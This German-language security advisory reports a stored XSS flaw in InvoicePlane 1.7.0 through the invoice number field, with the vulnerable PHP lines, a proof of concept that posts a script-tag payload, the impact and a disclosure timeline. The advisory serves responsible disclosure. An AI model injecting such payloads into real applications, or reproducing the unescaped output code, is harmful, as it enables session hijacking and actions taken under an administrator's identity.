
# Stored-XSS-Schwachstelle in InvoicePlane 1.7.0 über unsanitisiertes Rechnungsnummernfeld, mit Proof-of-Concept und Behebungsdetails.
Schwachstelle: Stored Cross-Site Scripting (XSS) über das Feld Rechnungsnummer
Produkt: InvoicePlane
Betroffene Version: 1.7.0 (und vermutlich frühere Versionen)
Schweregrad: Mittel
CVSS 3.1-Score: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten
Entdeckt von: Leonidas Agathos
Meldedatum: 2026-01-31
Das Feld invoice_number im Rechnungsformular akzeptiert beliebige Eingaben ohne Bereinigung. Der Wert wird gespeichert und an mehreren Stellen unkodiert ausgegeben: im Seitentitel der Rechnungsansicht, im Eingabefeld der Rechnungsnummer und im Widget für aktuelle Rechnungen auf dem Dashboard. Das Payload wird ausgeführt, sobald ein Administrator die betroffene Rechnung ansieht oder das Dashboard besucht.
Betroffene Dateien:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Zeile 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Zeile 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Zeile 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Schritt 1 — Payload in die Rechnungsnummer injizieren
Erstellen oder bearbeiten Sie eine Rechnung unter /index.php/invoices/form/{id} und setzen Sie die Rechnungsnummer auf:
<script>alert("XSS in Invoices")</script>
Anfrage:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Schritt 2 — XSS auslösen
Navigieren Sie zu /index.php/invoices/view/{id} oder /index.php/dashboard. Das Payload wird beim Laden der Seite ausgeführt.

Das Payload wird im Browser jedes Administrators ausgeführt, der die betroffene Rechnung ansieht oder das Dashboard besucht. Dies ermöglicht Session-Hijacking (falls Cookies nicht HttpOnly sind), Diebstahl von CSRF-Tokens sowie Aktionen, die unter der Identität des Opfers ausgeführt werden.
| Datum | Ereignis |
|---|---|
| 2026-01-30 | Schwachstelle entdeckt |
| 2026-01-31 | Proof of Concept entwickelt |
| 2026-01-31 | Hersteller benachrichtigt |
| 2026-02-04 | Bestätigung durch den Hersteller |
| 2026-02-04 | Patch veröffentlicht |
| 2026-02-05 | Öffentliche Offenlegung |
Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.